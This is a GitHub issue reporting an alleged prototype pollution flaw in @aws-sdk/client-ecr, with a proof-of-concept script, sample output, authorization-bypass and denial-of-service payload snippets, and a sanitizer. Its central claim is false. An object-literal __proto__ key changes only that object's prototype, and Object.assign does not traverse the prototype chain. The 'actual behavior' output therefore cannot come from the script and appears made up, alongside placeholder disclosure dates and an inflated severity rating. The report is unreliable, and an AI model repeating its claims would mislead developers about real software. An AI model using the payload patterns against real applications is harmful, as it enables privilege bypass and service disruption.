Skip to content
This repository was archived by the owner on Mar 9, 2026. It is now read-only.

Prototype Pollution in @aws-sdk/client-ecr Versions 3.980.0 and Earlier via Unsanitized Configuration Object #4714

@dfzysmy2tf-create

Description

@dfzysmy2tf-create

Describe the bug

Prototype Pollution via Constructor Configuration in @aws-sdk/client-ecr

Summary

A critical prototype pollution vulnerability exists in @aws-sdk/client-ecr versions <= 3.980.0. The ECRClient constructor accepts a configuration object that is processed through multiple Object.assign() operations without proper sanitization, allowing attackers to pollute Object.prototype by injecting malicious __proto__ properties. This can lead to property injection, denial of service, authentication bypass, or potentially remote code execution in affected applications.

Details

The vulnerability exists in the ECRClient configuration processing flow, specifically in the endpoint parameter resolution logic. When a new ECRClient instance is created, the configuration object flows through resolveClientEndpointParameters() which performs unsafe merges using Object.assign().

Vulnerable Code Location:

  • Primary Sink: package/package/dist-es/endpoint/EndpointParameters.js:2
    return Object.assign(options, {...

Additional Affected Sinks:

  • Line 6: const extensionConfiguration = Object.assign(getAw...
  • Line 8: return Object.assign(runtimeConfig, resolveAwsRegi...

The root cause is that user-controlled configuration objects containing __proto__ keys are directly merged into target objects without validation or sanitization. JavaScript's Object.assign() will traverse the prototype chain when the __proto__ property is present, allowing attackers to inject properties into Object.prototype, which affects all objects in the JavaScript runtime.

Attack Flow:

  1. Attacker provides malicious configuration object with __proto__ property
  2. Configuration flows through resolveClientEndpointParameters()
  3. Object.assign() merges the malicious object without sanitization
  4. Object.prototype becomes polluted with attacker-controlled properties
  5. All JavaScript objects in the application inherit the polluted properties

PoC

Prerequisites

  • Node.js environment (tested on Node.js 18+)
  • npm package manager

Steps to Reproduce

  1. Install the vulnerable package:

    npm install @aws-sdk/client-ecr@3.980.0
  2. Create a test file (poc.js):

    const { ECRClient } = require('@aws-sdk/client-ecr');
    
    // Check initial state
    console.log('Before pollution:');
    console.log('({}).polluted:', ({}).polluted);
    console.log('({}).isAdmin:', ({}).isAdmin);
    
    // Trigger prototype pollution
    const maliciousConfig = {
      region: 'us-east-1',
      __proto__: {
        polluted: 'successfully_polluted',
        isAdmin: true
      }
    };
    
    const client = new ECRClient(maliciousConfig);
    
    // Verify pollution
    console.log('\nAfter pollution:');
    console.log('({}).polluted:', ({}).polluted);
    console.log('({}).isAdmin:', ({}).isAdmin);
    
    // Demonstrate impact on new objects
    const newObject = {};
    console.log('\nNew object inherits polluted properties:');
    console.log('newObject.polluted:', newObject.polluted);
    console.log('newObject.isAdmin:', newObject.isAdmin);
  3. Execute the proof of concept:

    node poc.js

Expected Behavior

The configuration object should be sanitized, and Object.prototype should remain unpolluted. New objects should not inherit unexpected properties.

Before pollution:
({}).polluted: undefined
({}).isAdmin: undefined

After pollution:
({}).polluted: undefined
({}).isAdmin: undefined

New object inherits polluted properties:
newObject.polluted: undefined
newObject.isAdmin: undefined

Actual Behavior

The __proto__ property pollutes Object.prototype, causing all JavaScript objects to inherit the malicious properties.

Before pollution:
({}).polluted: undefined
({}).isAdmin: undefined

After pollution:
({}).polluted: successfully_polluted
({}).isAdmin: true

New object inherits polluted properties:
newObject.polluted: successfully_polluted
newObject.isAdmin: true

Impact

This prototype pollution vulnerability poses a critical security risk with multiple attack vectors:

1. Property Injection

Attackers can inject arbitrary properties into all JavaScript objects throughout the application runtime, potentially affecting:

  • Configuration objects
  • User session data
  • Security context objects
  • Application state

2. Authentication & Authorization Bypass

If the application uses object properties for access control decisions, attackers can inject properties like:

{ __proto__: { isAdmin: true, role: 'administrator', authenticated: true } }

3. Denial of Service (DoS)

Attackers can overwrite critical object methods or properties, causing application crashes:

{ __proto__: { toString: null, valueOf: null } }

4. Remote Code Execution (RCE)

If polluted properties flow to dangerous sinks, attackers may achieve code execution:

  • Properties used in eval() statements
  • Template injection contexts
  • Command execution functions (child_process.exec)
  • Dynamic require/import paths

5. Business Logic Bypass

Manipulation of object properties used in business logic can lead to:

  • Price manipulation in e-commerce applications
  • Feature flag bypass
  • Rate limiting circumvention
  • Data validation bypass

Affected Applications:
Any application using @aws-sdk/client-ecr <= 3.980.0 that:

  • Accepts user input for ECR client configuration
  • Processes untrusted configuration data
  • Uses the AWS SDK in multi-tenant environments
  • Relies on object properties for security decisions

Severity Assessment: CRITICAL (CVSS 3.1 estimated: 9.1-9.8)

Recommended Remediation

  1. Immediate: Upgrade to a patched version when available
  2. Mitigation: Sanitize all configuration objects before passing to ECRClient:
    function sanitizeConfig(config) {
      const sanitized = JSON.parse(JSON.stringify(config));
      delete sanitized.__proto__;
      delete sanitized.constructor;
      delete sanitized.prototype;
      return sanitized;
    }
    
    const client = new ECRClient(sanitizeConfig(userConfig));
  3. Defense-in-depth: Use Object.freeze(Object.prototype) where applicable
  4. Code Review: Audit all uses of Object.assign() with untrusted input

Disclosure Timeline:

  • Discovery Date: [Current Date]
  • Vendor Notification: [Pending/Date]
  • Public Disclosure: [Pending coordinated disclosure]

References:

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions